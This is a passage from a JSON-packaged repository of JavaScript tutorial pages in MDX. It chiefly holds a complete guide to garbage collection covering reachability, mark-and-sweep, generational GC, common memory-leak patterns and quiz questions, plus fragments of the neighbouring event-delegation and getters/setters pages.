Comprehensive MDN guide to working with events in the DOM, including propagation and delegation\n  </Card>\n</CardGroup>\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"Event Delegation — Web Dev Simplified\" icon=\"video\" href=\"https://www.youtube.com/watch?v=XF1_MlZ5l6M\">\n    Clear explanation of event delegation with visual examples showing how bubbling enables this pattern\n  </Card>\n  <Card title=\"JavaScript Event Delegation — Traversy Media\" icon=\"video\" href=\"https://www.youtube.com/watch?v=3KJI1WZGDrg\">\n    Practical walkthrough building a dynamic list with delegated event handling\n  </Card>\n  <Card title=\"Event Bubbling and Delegation — The Net Ninja\" icon=\"video\" href=\"https://www.youtube.com/watch?v=aVeQ4shbNls\">\n    Part of a comprehensive JavaScript DOM series covering bubbling and delegation together\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/beyond/concepts/garbage-collection.mdx",
    "content": "---\ntitle: \"JavaScript Garbage Collection\"\nsidebarTitle: \"Garbage Collection\"\ndescription: \"Learn how JavaScript garbage collection works. Understand mark-and-sweep, reachability, and how to write memory-efficient code that helps the engine.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Memory & Performance\"\n\"article:tag\": \"garbage collection, mark and sweep, reachability, memory efficiency, gc algorithm\"\n---\n\nWhat happens to objects after you stop using them? When you create a variable, assign it an object, and then reassign it to something else, where does that original object go? Does it just sit there forever, taking up space?\n\n```javascript\nlet user = { name: 'Alice', age: 30 }\nuser = null  // What happens to { name: 'Alice', age: 30 }?\n```\n\nThe answer is **garbage collection**. JavaScript automatically finds objects you're no longer using and frees the memory they occupy. You don't have to manually allocate or deallocate memory like in C or C++. As MDN documents, the JavaScript engine handles it for you, running a background process that cleans up unused objects — a design choice made since the language's creation in 1995.\n\n<Info>\n**What you'll learn in this guide:**\n- What garbage collection is and why JavaScript needs it\n- How the engine determines which objects are \"garbage\"\n- The mark-and-sweep algorithm used by all modern engines\n- Why reference counting failed and circular references aren't a problem\n- How generational garbage collection makes GC faster\n- Practical tips for writing GC-friendly code\n- Common memory leak patterns and how to avoid them\n</Info>\n\n<Warning>\n**Prerequisite:** This guide assumes you understand basic JavaScript objects and references. For a deep dive into how V8 implements garbage collection (generational GC, the Scavenger, Mark-Compact), see the [JavaScript Engines](/concepts/javascript-engines) guide.\n</Warning>\n\n---\n\n## What is Garbage Collection?\n\n**Garbage collection (GC)** is an automatic memory management process that identifies and reclaims memory occupied by objects that are no longer reachable by the program. The garbage collector periodically scans the heap, marks objects that are still in use, and frees memory from objects that can no longer be accessed.\n\nThink of garbage collection like a city sanitation service. You put trash on the curb (stop referencing objects), and the garbage truck comes by periodically to collect it. You don't have to drive to the dump yourself. The city handles it automatically. But there's a catch: you can't control exactly when the truck arrives, and if you accidentally leave something valuable on the curb (lose your only reference to an object you still need), it might get collected.\n\n---\n\n## How Does JavaScript Know What's Garbage?\n\nThe key concept is **reachability**. An object is considered \"alive\" if it can be reached from a **root**. Roots are starting points that the engine knows are always accessible:\n\n- **Global variables** — Variables in the global scope\n- **The current call stack** — Local variables and parameters of currently executing functions\n- **Closures** — Variables captured by functions that are still reachable\n\nAny object reachable from a root, either directly or through a chain of references, is kept alive. Everything else is garbage.\n\n```javascript\n// 'user' is a root (global variable)\nlet user = { name: 'Alice' }\n\n// The object { name: 'Alice' } is reachable through 'user'\n// So it stays in memory\n\nuser = null\n\n// Now nothing references { name: 'Alice' }\n// It's unreachable and becomes garbage\n```\n\n### Tracing Reference Chains\n\nThe garbage collector follows references like a detective following clues:\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                      REACHABILITY FROM ROOTS                            │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                         │\n│   ROOTS                     REACHABLE OBJECTS                           │\n│                                                                         │\n│   ┌────────────┐           ┌──────────────┐     ┌──────────────┐       │\n│   │   global   │           │    user      │     │   address    │       │\n│   │  variables │ ────────► │ { name,      │ ──► │ { street,    │       │\n│   └────────────┘           │   address }  │     │   city }     │       │\n│                            └──────────────┘     └──────────────┘       │\n│   ┌────────────┐                                                        │\n│   │   call     │           ┌──────────────┐                             │\n│   │   stack    │ ────────► │ local vars   │  ✓ All reachable = ALIVE   │\n│   └────────────┘           └──────────────┘                             │\n│                                                                         │\n│                                                                         │\n│   UNREACHABLE (GARBAGE)                                                 │\n│                                                                         │\n│   ┌──────────────┐     ┌──────────────┐                                │\n│   │ { orphaned } │     │ { no refs }  │     ✗ No path from roots       │\n│   └──────────────┘     └──────────────┘       = GARBAGE                 │\n│                                                                         │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\nLet's see this in action with a more complex example:\n\n```javascript\nfunction createFamily() {\n  let father = { name: 'John' }\n  let mother = { name: 'Jane' }\n  \n  // Create references between objects\n  father.spouse = mother\n  mother.spouse = father\n  \n  return { father, mother }\n}\n\nlet family = createFamily()\n\n// Both father and mother are reachable through 'family'\n// family → father → mother (via spouse)\n// family → mother → father (via spouse)\n\nfamily = null\n\n// Now there's no path from any root to father or mother\n// Even though they reference each other, they're both garbage\n```\n\nThis last point is crucial: **objects that only reference each other but aren't reachable from a root are still garbage**. The garbage collector doesn't care about internal references. It only cares about reachability from roots.\n\n---\n\n## The Mark-and-Sweep Algorithm\n\nAll modern JavaScript engines use a **mark-and-sweep** algorithm (with various optimizations). Here's how it works:\n\n<Steps>\n  <Step title=\"Start from roots\">\n    The garbage collector identifies all root objects: global variables, the call stack, and closures.\n  </Step>\n  \n  <Step title=\"Mark reachable objects\">\n    Starting from each root, the collector follows every reference and \"marks\" each object it finds as alive. It recursively follows references from marked objects, marking everything reachable.\n    \n    ```\n    Root → Object A (mark) → Object B (mark) → Object C (mark)\n                          → Object D (mark)\n    ```\n  </Step>\n  \n  <Step title=\"Sweep unmarked objects\">\n    After marking is complete, the collector goes through all objects in memory. Any object that isn't marked is unreachable and gets its memory reclaimed.\n  </Step>\n</Steps>\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                     MARK-AND-SWEEP IN ACTION                            │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                         │\n│   BEFORE GC                          MARKING PHASE                      │\n│                                                                         │\n│   root ──► [A] ──► [B]               root ──► [A]✓ ──► [B]✓            │\n│             │                                   │                       │\n│             ▼                                   ▼                       │\n│            [C]     [D]                        [C]✓     [D]              │\n│                     │                                   │               │\n│                     ▼                                   ▼               │\n│                    [E]                                 [E]              │\n│                                                                         │\n│                                                                         │\n│   SWEEP PHASE                        AFTER GC                           │\n│                                                                         │\n│   root ──► [A]✓ ──► [B]✓            root ──► [A] ──► [B]               │\n│             │                                  │                        │\n│             ▼                                  ▼                        │\n│            [C]✓     [D]  ← removed            [C]      (free memory)   │\n│                      │                                                  │\n│                      ▼                                                  │\n│                     [E]  ← removed                                      │\n│                                                                         │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n### Why Mark-and-Sweep Handles Circular References\n\nNotice in our family example that `father` and `mother` reference each other. With mark-and-sweep, this isn't a problem:\n\n```javascript\nlet family = { father: { name: 'John' }, mother: { name: 'Jane' } }\nfamily.father.spouse = family.mother\nfamily.mother.spouse = family.father\n\n// Circular reference: father ↔ mother\n\nfamily = null\n// Mark phase: start from roots, can't reach father or mother\n// Neither gets marked, both get swept\n// Circular reference doesn't matter!\n```\n\nThe mark-and-sweep algorithm only cares about reachability from roots. Internal circular references don't keep objects alive.\n\n---\n\n## Reference Counting: A Failed Approach\n\nBefore mark-and-sweep became standard, some engines used **reference counting**. Each object kept track of how many references pointed to it. When the count reached zero, the object was immediately freed.\n\n```javascript\n// Reference counting (conceptual, not real JS)\nlet obj = { data: 'hello' }  // refcount: 1\nlet ref = obj                 // refcount: 2\nref = null                    // refcount: 1\nobj = null                    // refcount: 0 → freed immediately\n```\n\nThis seems simpler, but it has a fatal flaw: **circular references cause memory leaks**.\n\n```javascript\nfunction createCycle() {\n  let objA = {}\n  let objB = {}\n  \n  objA.ref = objB  // objB refcount: 1\n  objB.ref = objA  // objA refcount: 1\n  \n  // When function returns:\n  // - objA loses its stack reference: refcount goes to 1 (not 0!)\n  // - objB loses its stack reference: refcount goes to 1 (not 0!)\n  // Both objects keep each other alive forever!\n}\n\ncreateCycle()\n// With reference counting: MEMORY LEAK\n// With mark-and-sweep: Both collected (unreachable from roots)\n```\n\nOld versions of Internet Explorer (IE6/7) used reference counting for DOM objects, which caused notorious memory leaks when JavaScript objects and DOM elements referenced each other. According to web.dev's guide on fixing memory leaks, all modern engines now use mark-and-sweep or variations of it, eliminating circular reference leaks entirely.\n\n---\n\n## Generational Garbage Collection\n\nModern engines like V8 don't just use basic mark-and-sweep. They use **generational garbage collection** based on an important observation: **most objects die young**. According to the V8 blog, the Orinoco garbage collector processes the young generation in under 1 millisecond for most web applications, making GC pauses nearly invisible to users.\n\nThink about it: temporary variables, intermediate calculation results, short-lived callbacks. They're created, used briefly, and become garbage quickly. Only some objects (app state, cached data) live for a long time.\n\nV8 exploits this by dividing memory into generations:\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                     GENERATIONAL HEAP LAYOUT                            │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                         │\n│   YOUNG GENERATION                    OLD GENERATION                    │\n│   (Most objects die here)             (Long-lived objects)              │\n│                                                                         │\n│   ┌───────────────────────┐          ┌───────────────────────┐         │\n│   │  New objects land     │          │  Objects that         │         │\n│   │  here first           │  ─────►  │  survived multiple    │         │\n│   │                       │ survives │  GC cycles            │         │\n│   │  Collected frequently │          │                       │         │\n│   │  (Minor GC)           │          │  Collected less often │         │\n│   │                       │          │  (Major GC)           │         │\n│   └───────────────────────┘          └───────────────────────┘         │\n│                                                                         │\n│   • Fast allocation                  • Contains app state               │\n│   • Quick collection                 • Caches, long-lived data          │\n│   • Most garbage found here          • More thorough collection         │\n│                                                                         │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n**Minor GC (Scavenger):** Runs frequently on the young generation. Since most objects die young, this is very fast. Objects that survive get promoted to the old generation.\n\n**Major GC (Mark-Compact):** Runs less frequently on the entire heap. More thorough but slower. Includes compaction to reduce fragmentation.\n\nThis generational approach means:\n- Short-lived objects are collected quickly with minimal overhead\n- Long-lived objects aren't constantly re-examined\n- Overall GC pauses are shorter and less frequent\n\n<Note>\nFor a deep dive into V8's Scavenger, Mark-Compact, and concurrent/parallel GC techniques, see the [JavaScript Engines](/concepts/javascript-engines#how-does-garbage-collection-work) guide.\n</Note>\n\n---\n\n## When Does Garbage Collection Run?\n\nYou might wonder: when exactly does the garbage collector run? The short answer is: **you don't know, and you can't control it**.\n\nGarbage collection is triggered automatically when:\n- The heap reaches a certain size threshold\n- The engine detects idle time (browser animation frames, Node.js event loop idle)\n- Memory pressure increases\n\n```javascript\n// You CANNOT force garbage collection in JavaScript\n// This doesn't exist in the language:\n// gc()  // Not a thing\n// System.gc()  // Not a thing\n\n// The engine decides when to run GC\n// You just write code and let it handle memory\n```\n\nModern engines use sophisticated heuristics:\n- **Incremental GC:** Breaks work into small chunks to avoid long pauses\n- **Concurrent GC:** Runs some GC work in background threads while JavaScript executes\n- **Idle-time GC:** Schedules GC during browser idle periods\n\n<Warning>\n**Don't try to outsmart the garbage collector.** Setting variables to `null` everywhere \"to help GC\" usually doesn't help and makes code harder to read. The engine is very good at its job. Focus on writing clear, correct code.\n</Warning>\n\n---\n\n## Writing GC-Friendly Code\n\nWhile you can't control GC, you can write code that works well with it:\n\n### 1. Let Variables Go Out of Scope Naturally\n\nThe simplest way to make objects eligible for GC is to let their references go out of scope:\n\n```javascript\nfunction processData() {\n  const largeArray = new Array(1000000).fill('data')\n  \n  // Process the array...\n  const result = largeArray.reduce((sum, item) => sum + item.length, 0)\n  \n  return result\n  // largeArray goes out of scope here\n  // It becomes eligible for GC automatically\n}\n\nconst result = processData()\n// largeArray is already unreachable\n```\n\n### 2. Nullify References to Large Objects When Done Early\n\nIf you're done with a large object but the function continues running, explicitly nullify it:\n\n```javascript\nfunction longRunningTask() {\n  let hugeData = fetchHugeDataset()  // 100MB of data\n  \n  const summary = processSummary(hugeData)\n  \n  hugeData = null  // Allow GC to reclaim 100MB now\n  \n  // ... lots more code that doesn't need hugeData ...\n  \n  return summary\n}\n```\n\n### 3. Avoid Accidental Global Variables\n\nAccidental globals stay alive forever:\n\n```javascript\nfunction oops() {\n  // Forgot 'let' or 'const' - creates global variable!\n  leaked = { huge: new Array(1000000) }\n}\n\noops()\n// 'leaked' is now a global variable\n// It will never be garbage collected!\n\n// Fix: Always use let, const, or var\nfunction fixed() {\n  const notLeaked = { huge: new Array(1000000) }\n}\n```\n\n<Tip>\nUse strict mode (`'use strict'`) to catch accidental globals. Assignment to undeclared variables throws an error instead of creating a global.\n</Tip>\n\n### 4. Be Careful with Closures\n\nClosures capture variables from their outer scope. If a closure lives long, so do its captured variables:\n\n```javascript\nfunction createHandler() {\n  const hugeData = new Array(1000000).fill('x')\n  \n  return function handler() {\n    // This closure captures 'hugeData'\n    // Even if handler() never uses hugeData directly,\n    // some engines may keep it alive\n    console.log('Handler called')\n  }\n}\n\nconst handler = createHandler()\n// 'hugeData' may be kept alive as long as 'handler' exists\n// Even though handler() doesn't use it!\n\n// Better: Don't capture what you don't need\nfunction createBetterHandler() {\n  const hugeData = new Array(1000000).fill('x')\n  const summary = hugeData.length  // Extract what you need\n  \n  return function handler() {\n    console.log('Data size was:', summary)\n  }\n  // hugeData goes out of scope, only 'summary' is captured\n}\n```\n\n### 5. Clean Up Event Listeners and Timers\n\nForgotten event listeners and timers are common sources of memory leaks:\n\n```javascript\n// Memory leak: listener keeps element and handler alive\nfunction setupButton() {\n  const button = document.getElementById('myButton')\n  const data = { huge: new Array(1000000) }\n  \n  button.addEventListener('click', () => {\n    console.log(data.huge.length)\n  })\n  \n  // If you never remove this listener, 'data' stays alive forever\n}\n\n// Fix: Remove listeners when done\nfunction setupButtonCorrectly() {\n  const button = document.getElementById('myButton')\n  const data = { huge: new Array(1000000) }\n  \n  function handleClick() {\n    console.log(data.huge.length)\n  }\n  \n  button.addEventListener('click', handleClick)\n  \n  // Later, when cleaning up:\n  return function cleanup() {\n    button.removeEventListener('click', handleClick)\n    // Now 'data' can be garbage collected\n  }\n}\n```\n\nSame with timers:\n\n```javascript\n// Memory leak: interval runs forever\nconst data = { huge: new Array(1000000) }\nsetInterval(() => {\n  console.log(data.huge.length)\n}, 1000)\n// This interval keeps 'data' alive forever\n\n// Fix: Clear intervals when done\nconst data = { huge: new Array(1000000) }\nconst intervalId = setInterval(() => {\n  console.log(data.huge.length)\n}, 1000)\n\n// Later:\nclearInterval(intervalId)\n// Now 'data' can be garbage collected\n```\n\n---\n\n## WeakRef and FinalizationRegistry\n\nES2021 introduced two features that let you interact more directly with garbage collection: `WeakRef` and `FinalizationRegistry`. These are advanced features for specific use cases.\n\n<Warning>\n**Avoid these unless you have a specific need.** GC timing is unpredictable, and relying on it leads to fragile code. See [WeakRef](/beyond/concepts/weakmap-weakset) and the MDN documentation for details.\n</Warning>\n\n```javascript\n// WeakRef: Hold a reference that doesn't prevent GC\nconst weakRef = new WeakRef(someObject)\n\n// Later: object might have been collected\nconst obj = weakRef.deref()\nif (obj) {\n  // Object still exists\n} else {\n  // Object was garbage collected\n}\n```\n\nFor most applications, `WeakMap` and `WeakSet` are better choices. They allow objects to be garbage collected when no other references exist, without the complexity of `WeakRef`.\n\n---\n\n## Common Mistakes\n\n<AccordionGroup>\n  <Accordion title=\"Thinking 'delete' frees memory immediately\">\n    The `delete` operator removes a property from an object. It doesn't immediately free memory or trigger garbage collection.\n    \n    ```javascript\n    const obj = { data: new Array(1000000) }\n    \n    delete obj.data  // Removes the property\n    // But memory isn't freed until GC runs\n    // AND only if nothing else references that array\n    \n    // This is also bad for performance (changes hidden class)\n    // Better: set to undefined or restructure your code\n    obj.data = undefined\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Setting everything to null 'to help GC'\">\n    Obsessively nullifying variables doesn't help and hurts readability:\n    \n    ```javascript\n    // Don't do this\n    function process() {\n      let a = getData()\n      let result = transform(a)\n      a = null  // Unnecessary!\n      let b = getMoreData()\n      let final = combine(result, b)\n      result = null  // Unnecessary!\n      b = null  // Unnecessary!\n      return final\n    }\n    \n    // Just let variables go out of scope naturally\n    function process() {\n      const a = getData()\n      const result = transform(a)\n      const b = getMoreData()\n      return combine(result, b)\n    }\n    ```\n    \n    Only nullify when: (1) you're done with a **large** object, (2) the function continues running for a while, and (3) you've measured that it helps.\n  </Accordion>\n  \n  <Accordion title=\"Storing references in long-lived caches\">\n    Caches that grow without bounds cause memory leaks:\n    \n    ```javascript\n    // Memory leak: cache grows forever\n    const cache = {}\n    \n    function getCached(key) {\n      if (!cache[key]) {\n        cache[key] = expensiveComputation(key)\n      }\n      return cache[key]\n    }\n    \n    // Better: Use WeakMap (if keys are objects)\n    const cache = new WeakMap()\n    \n    function getCached(obj) {\n      if (!cache.has(obj)) {\n        cache.set(obj, expensiveComputation(obj))\n      }\n      return cache.get(obj)\n    }\n    // Cache entries are automatically removed when keys are GC'd\n    \n    // Or: Use an LRU cache with a maximum size\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Forgetting to unsubscribe from observables/events\">\n    Subscriptions keep callbacks (and their closures) alive:\n    \n    ```javascript\n    // Memory leak in React component (class-style)\n    class MyComponent extends React.Component {\n      componentDidMount() {\n        this.subscription = eventEmitter.subscribe(data => {\n          this.setState({ data })  // 'this' keeps component alive\n        })\n      }\n      \n      // Forgot componentWillUnmount!\n      // Component instance stays in memory forever\n      \n      // Fix:\n      componentWillUnmount() {\n        this.subscription.unsubscribe()\n      }\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Circular references between JS and DOM (old IE)\">\n    This was a problem in old Internet Explorer but is not an issue in modern browsers:\n    \n    ```javascript\n    // Historical problem (IE6/7):\n    const div = document.createElement('div')\n    const obj = {}\n    \n    div.myObject = obj  // DOM → JS reference\n    obj.myElement = div // JS → DOM reference\n    \n    // In old IE with reference counting, this leaked\n    // In modern browsers with mark-and-sweep, this is fine\n    ```\n    \n    Modern browsers handle this correctly. Both objects become garbage when unreachable from roots.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember:**\n\n1. **JavaScript has automatic garbage collection.** You don't manually allocate or free memory. The engine handles it.\n\n2. **Reachability determines what's garbage.** Objects reachable from roots (globals, stack, closures) are kept alive. Everything else is garbage.\n\n3. **Mark-and-sweep is the standard algorithm.** The collector marks reachable objects, then sweeps (frees) everything unmarked.\n\n4. **Circular references aren't a problem.** Mark-and-sweep handles them correctly. Objects that only reference each other (but aren't reachable from roots) get collected.\n\n5. **Generational GC makes collection fast.** Most objects die young, so engines collect the young generation frequently and cheaply.\n\n6. **You can't control when GC runs.** The engine decides based on memory pressure, idle time, and internal heuristics.\n\n7. **Don't over-optimize for GC.** Let variables go out of scope naturally. Only nullify large objects early if you've measured a benefit.\n\n8. **Watch for common leak patterns:** Forgotten event listeners, uncleaned timers, unbounded caches, and closures capturing large objects.\n\n9. **Use WeakMap/WeakSet for caches.** They allow keys to be garbage collected, preventing unbounded growth.\n\n10. **For deep V8 internals, see the JavaScript Engines guide.** Scavenger, Mark-Compact, concurrent marking, and other advanced topics are covered there.\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"Question 1: Will the object { name: 'Alice' } be garbage collected?\">\n    ```javascript\n    let user = { name: 'Alice' }\n    let admin = user\n    user = null\n    ```\n    \n    **Answer:**\n    \n    No, the object will NOT be garbage collected. Even though `user` is set to `null`, `admin` still holds a reference to the object. The object is still reachable (through `admin`), so it stays alive.\n    \n    ```javascript\n    // To make it eligible for GC:\n    admin = null  // Now no references remain\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 2: Do circular references cause memory leaks in modern JavaScript?\">\n    **Answer:**\n    \n    No. Modern JavaScript engines use mark-and-sweep garbage collection, which handles circular references correctly. Objects are collected based on **reachability from roots**, not reference counts.\n    \n    ```javascript\n    function createCycle() {\n      let a = {}\n      let b = {}\n      a.ref = b\n      b.ref = a\n    }\n    createCycle()\n    // Both objects are collected after the function returns\n    // The circular reference doesn't keep them alive\n    ```\n    \n    Circular references only caused leaks in old browsers (IE6/7) that used reference counting for DOM objects.\n  </Accordion>\n  \n  <Accordion title=\"Question 3: How can you force garbage collection in JavaScript?\">\n    **Answer:**\n    \n    You cannot force garbage collection in JavaScript. There is no `gc()` function or equivalent in the language specification.\n    \n    The garbage collector runs automatically when the engine decides it's needed. You can only influence what becomes *eligible* for collection by removing references to objects.\n    \n    Some environments (like Node.js with `--expose-gc` flag) expose a `gc()` function for debugging, but this should never be used in production code.\n  </Accordion>\n  \n  <Accordion title=\"Question 4: What's wrong with this code?\">\n    ```javascript\n    function setupClickHandler() {\n      const largeData = new Array(1000000).fill('x')\n      \n      document.getElementById('btn').addEventListener('click', () => {\n        console.log('clicked!')\n      })\n    }\n    ```\n    \n    **Answer:**\n    \n    There's a potential memory leak. Even though the click handler doesn't use `largeData`, the closure may capture the entire scope, keeping `largeData` alive as long as the event listener exists.\n    \n    Additionally, the event listener is never removed, so it (and potentially `largeData`) will stay in memory forever.\n    \n    **Fixes:**\n    1. Move `largeData` outside the function if it's needed, or extract only what you need\n    2. Provide a way to remove the event listener\n    \n    ```javascript\n    function setupClickHandler() {\n      const handler = () => console.log('clicked!')\n      document.getElementById('btn').addEventListener('click', handler)\n      \n      return () => {\n        document.getElementById('btn').removeEventListener('click', handler)\n      }\n    }\n    \n    const cleanup = setupClickHandler()\n    // Later: cleanup() to remove the listener\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 5: Why is generational garbage collection effective?\">\n    **Answer:**\n    \n    Generational garbage collection is effective because of the **generational hypothesis**: most objects die young.\n    \n    Temporary variables, intermediate results, and short-lived objects are created and discarded quickly. Only a small percentage of objects (app state, caches) live long.\n    \n    By dividing memory into generations:\n    - The young generation is collected frequently and cheaply (most objects there are garbage)\n    - The old generation is collected less often (objects there are likely to survive)\n    \n    This approach minimizes the time spent on garbage collection while still reclaiming memory effectively.\n  </Accordion>\n  \n  <Accordion title=\"Question 6: What does mark-and-sweep mark?\">\n    **Answer:**\n    \n    Mark-and-sweep marks **reachable objects**, not garbage.\n    \n    The algorithm:\n    1. Starts from roots (globals, stack, closures)\n    2. Follows all references, marking each object it can reach\n    3. After marking, sweeps through memory and frees all **unmarked** objects\n    \n    Unmarked objects are garbage because they couldn't be reached from any root.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"How does garbage collection work in JavaScript?\">\n    JavaScript uses the mark-and-sweep algorithm. The garbage collector starts from root references (global variables, the call stack, closures), marks all reachable objects as alive, then sweeps through memory and frees everything that wasn't marked. This process runs automatically — you cannot trigger it manually.\n  </Accordion>\n\n  <Accordion title=\"Can you force garbage collection in JavaScript?\">\n    No. The ECMAScript specification provides no API for triggering garbage collection. The engine decides when to run GC based on memory pressure, idle time, and internal heuristics. Node.js exposes a `gc()` function with the `--expose-gc` flag for debugging, but this should never be used in production code.\n  </Accordion>\n\n  <Accordion title=\"Do circular references cause memory leaks in modern JavaScript?\">\n    No. The mark-and-sweep algorithm handles circular references correctly because it determines reachability from roots, not reference counts. Two objects that reference each other but are unreachable from any root will both be collected. Circular reference leaks only affected old browsers like IE6/7 that used reference counting.\n  </Accordion>\n\n  <Accordion title=\"What is the difference between minor and major garbage collection?\">\n    Minor GC (the Scavenger in V8) runs frequently on the young generation where most short-lived objects reside — it typically completes in under 1 millisecond. Major GC (Mark-Compact) runs less often on the entire heap and is more thorough but slower. According to the V8 blog, this generational approach minimizes pause times significantly.\n  </Accordion>\n\n  <Accordion title=\"How do WeakMap and WeakSet help with garbage collection?\">\n    WeakMap and WeakSet hold \"weak\" references to their keys, meaning those keys can still be garbage collected when no other references exist. This makes them ideal for caches and metadata storage where you don't want your data structure to prevent cleanup of objects owned by other code.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"JavaScript Engines\" icon=\"microchip\" href=\"/concepts/javascript-engines\">\n    Deep dive into V8's garbage collection: Scavenger, Mark-Compact, concurrent marking, and optimization techniques.\n  </Card>\n  <Card title=\"Scope and Closures\" icon=\"lock\" href=\"/concepts/scope-and-closures\">\n    Understanding closures is key to understanding what keeps objects alive and why some memory leaks occur.\n  </Card>\n  <Card title=\"WeakMap & WeakSet\" icon=\"link-slash\" href=\"/beyond/concepts/weakmap-weakset\">\n    Data structures with weak references that allow keys to be garbage collected when no other references exist.\n  </Card>\n  <Card title=\"Primitives vs Objects\" icon=\"code-branch\" href=\"/concepts/primitives-objects\">\n    How JavaScript primitives and objects behave differently, and why references matter for garbage collection.\n  </Card>\n</CardGroup>\n\n---\n\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"Memory Management — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Memory_management\">\n    Official MDN guide covering the memory lifecycle, garbage collection algorithms, and data structures that aid memory management.\n    The authoritative reference for understanding how JavaScript handles memory automatically.\n  </Card>\n  <Card title=\"WeakRef — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakRef\">\n    API reference for creating weak references that don't prevent garbage collection.\n    Essential reading for advanced patterns involving GC-observable references (ES2021+).\n  </Card>\n  <Card title=\"FinalizationRegistry — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/FinalizationRegistry\">\n    API reference for registering cleanup callbacks when objects are garbage collected.\n    Covers use cases, limitations, and why you should avoid relying on cleanup timing.\n  </Card>\n</CardGroup>\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"Garbage Collection — javascript.info\" icon=\"newspaper\" href=\"https://javascript.info/garbage-collection\">\n    Beginner-friendly explanation of reachability, the mark-and-sweep algorithm, and why circular references aren't a problem.\n    Excellent diagrams showing exactly how objects become garbage step-by-step.\n  </Card>\n  <Card title=\"Trash talk: the Orinoco garbage collector — V8 Blog\" icon=\"newspaper\" href=\"https://v8.dev/blog/trash-talk\">\n    Deep dive into V8's Orinoco garbage collector covering parallel, incremental, and concurrent techniques.\n    The definitive resource for understanding how modern JavaScript engines minimize GC pause times.\n  </Card>\n  <Card title=\"A tour of V8: Garbage Collection — Jay Conrod\" icon=\"newspaper\" href=\"https://jayconrod.com/posts/55/a-tour-of-v8-garbage-collection\">\n    Technical walkthrough of V8's generational garbage collector, including the Scavenger and Mark-Compact algorithms.\n    Great for developers who want to understand the engineering behind automatic memory management.\n  </Card>\n  <Card title=\"Visualizing memory management in V8 — Deepu K Sasidharan\" icon=\"newspaper\" href=\"https://deepu.tech/memory-management-in-v8/\">\n    Colorful diagrams illustrating how V8 organizes the heap into generations and how objects move between them.\n    Perfect for visual learners who want to see GC in action.\n  </Card>\n  <Card title=\"Fixing Memory Leaks — web.dev\" icon=\"newspaper\" href=\"https://web.dev/articles/fixing-memory-leaks\">\n    Practical guide to identifying and fixing the most common memory leak patterns in JavaScript applications.\n    Includes Chrome DevTools techniques for heap snapshot analysis.\n  </Card>\n</CardGroup>\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"Orinoco: The V8 Garbage Collector — Peter Marshall\" icon=\"video\" href=\"https://www.youtube.com/watch?v=Scxz6jVS4Ls\">\n    Chrome Dev Summit talk by a V8 engineer explaining how Orinoco achieves low-latency garbage collection.\n    See the parallel and concurrent techniques that make modern GC nearly invisible.\n  </Card>\n  <Card title=\"JavaScript Memory Management Masterclass — Steve Kinney\" icon=\"video\" href=\"https://www.youtube.com/watch?v=LaxbdIyBkL0\">\n    Frontend Masters preview covering memory leaks, profiling with DevTools, and GC-friendly coding patterns.\n    Practical advice for building memory-efficient applications.\n  </Card>\n  <Card title=\"Garbage Collection in 100 Seconds — Fireship\" icon=\"video\" href=\"https://www.youtube.com/watch?v=0m0EwbCQhQE\">\n    Lightning-fast overview of garbage collection concepts across programming languages including JavaScript.\n    Perfect quick refresher on why automatic memory management exists.\n  </Card>\n  <Card title=\"What the heck is the event loop anyway? — Philip Roberts\" icon=\"video\" href=\"https://www.youtube.com/watch?v=8aGhZQkoFbQ\">\n    The legendary JSConf talk that visualizes the call stack and event loop.\n    While focused on the event loop, it provides essential context for understanding memory and execution.\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/beyond/concepts/getters-setters.mdx",
    "content": "---\ntitle: \"Getters & Setters in JavaScript\"\nsidebarTitle: \"Getters & Setters: Computed Properties\"\ndescription: \"Learn JavaScript getters and setters. Create computed properties, validate data on assignment, and build encapsulated objects with get and set accessors.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Objects & Properties\"\n\"article:tag\": \"javascript getters setters, computed properties, property accessors, data validation, encapsulation\"\n---\n\nHow do you create a property that calculates its value on the fly? What if you want to validate data every time someone assigns a value? And how do you make a property that looks normal but does something behind the scenes?\n\n```javascript\nconst user = {\n  firstName: \"Alice\",\n  lastName: \"Smith\",\n  \n  // This looks like a property, but it's actually a function\n  get fullName() {\n    return `${this.firstName} ${this.lastName}`\n  }\n}\n\n// Access it like a property — no parentheses!\nconsole.log(user.fullName)  // \"Alice Smith\"\n\n// It recalculates every time\nuser.firstName = \"Bob\"\nconsole.log(user.fullName)  // \"Bob Smith\"\n```\n\n**Getters and setters** are special functions that look and behave like regular properties. A [getter](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/get) is called when you read a property. A 